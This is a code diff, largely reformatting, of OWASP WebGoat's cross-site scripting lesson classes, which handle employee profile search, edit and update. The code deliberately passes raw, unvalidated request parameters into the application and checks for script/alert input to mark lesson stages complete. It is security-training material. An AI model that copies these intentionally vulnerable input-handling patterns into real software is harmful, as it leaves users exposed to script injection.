public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
@ -226,43 +212,37 @@ public class CrossSiteScripting extends GoatHillsFinancial
if (action != null)
{
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
// setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -280,7 +260,6 @@ public class CrossSiteScripting extends GoatHillsFinancial
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
@ -293,11 +272,11 @@ public class CrossSiteScripting extends GoatHillsFinancial
public String htmlEncode(WebSession s, String text)
{
if (STAGE4.equals(getStage(s)) &&
text.indexOf("<script>") > -1 && text.indexOf("alert") > -1 && text.indexOf("</script>") > -1)
if (STAGE4.equals(getStage(s)) && text.indexOf("<script>") > -1 && text.indexOf("alert") > -1
&& text.indexOf("</script>") > -1)
{
setStageComplete(s, STAGE4);
s.setMessage( "Welcome to stage 5 -- exploiting the data layer" );
s.setMessage("Welcome to stage 5 -- exploiting the data layer");
}
return HtmlEncoder.encode(text);

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@ -12,73 +12,65 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
@ -89,43 +81,31 @@ public class EditProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -134,9 +114,7 @@ public class EditProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
@ -147,43 +125,31 @@ public class EditProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
@ -7,7 +8,6 @@ import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -52,41 +51,33 @@ public class FindProfile extends DefaultLessonAction
private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
String searchName = null;
try
{
searchName = getRequestParameter(s,
CrossSiteScripting.SEARCHNAME);
searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME);
Employee employee = null;
employee = findEmployeeProfile(s, userId, searchName);
if (employee == null)
{
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found.");
}
}
catch (ValidationException e)
} catch (ValidationException e)
{
if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{
@ -97,8 +88,7 @@ public class FindProfile extends DefaultLessonAction
if (CrossSiteScripting.STAGE5.equals(getStage(s)))
{
if (searchName.indexOf("<script>") > -1
&& searchName.indexOf("alert") > -1
if (searchName.indexOf("<script>") > -1 && searchName.indexOf("alert") > -1
&& searchName.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE5);
@ -111,13 +101,11 @@ public class FindProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -128,34 +116,28 @@ public class FindProfile extends DefaultLessonAction
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s))
page = CrossSiteScripting.VIEWPROFILE_ACTION;
if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page;
}
protected String getRequestParameter(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
ValidationException
{
return s.getParser().getRawParameter(name);
}
protected String getRequestParameter_BACKUP(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException,
ValidationException
{
return s.getParser().getRawParameter(name);
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{
Employee profile = null;
@ -166,10 +148,8 @@ public class FindProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
@ -179,38 +159,27 @@ public class FindProfile extends DefaultLessonAction
{
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(id));
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error finding employee profile");
e.printStackTrace();
@ -219,29 +188,24 @@ public class FindProfile extends DefaultLessonAction
return profile;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{
getIntRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID);
getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
found = true;
} catch (ParameterNotFoundException e)
{
}
catch (ParameterNotFoundException e)
{}
return found;
}
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
if (!matcher.matches()) throw new ValidationException();
return parameter;
}
@ -249,8 +213,7 @@ public class FindProfile extends DefaultLessonAction
protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
static
{
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern
.compile("[a-zA-Z ]{0,20}"));
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
}
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
@ -6,9 +7,7 @@ import java.sql.PreparedStatement;
import java.sql.Statement;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -20,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -54,33 +52,26 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
int subjectId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID, 0);
int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0);
Employee employee = null;
try
{
employee = parseEmployeeProfile(subjectId, s);
}
catch (ValidationException e)
} catch (ValidationException e)
{
if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{
@ -92,8 +83,7 @@ public class UpdateProfile extends DefaultLessonAction
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
@ -102,13 +92,11 @@ public class UpdateProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -118,9 +106,8 @@ public class UpdateProfile extends DefaultLessonAction
throw new UnauthenticatedException();
}
protected Employee parseEmployeeProfile(int subjectId, WebSession s)
throws ParameterNotFoundException, ValidationException
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
@ -134,32 +121,24 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s)
throws ParameterNotFoundException, ValidationException
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
@ -173,47 +152,36 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee doParseEmployeeProfile(int subjectId,
ParameterParser parser) throws ParameterNotFoundException,
protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
ValidationException
{
// Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null;
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
@ -223,7 +191,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -239,24 +209,21 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectId, Employee employee) throws UnauthorizedException
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
@ -266,7 +233,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -282,24 +251,20 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.executeUpdate(query);
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
@ -307,7 +272,7 @@ public class UpdateProfile extends DefaultLessonAction
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
@ -329,23 +294,19 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void createEmployeeProfile_BACKUP(WebSession s, int userId,
Employee employee) throws UnauthorizedException
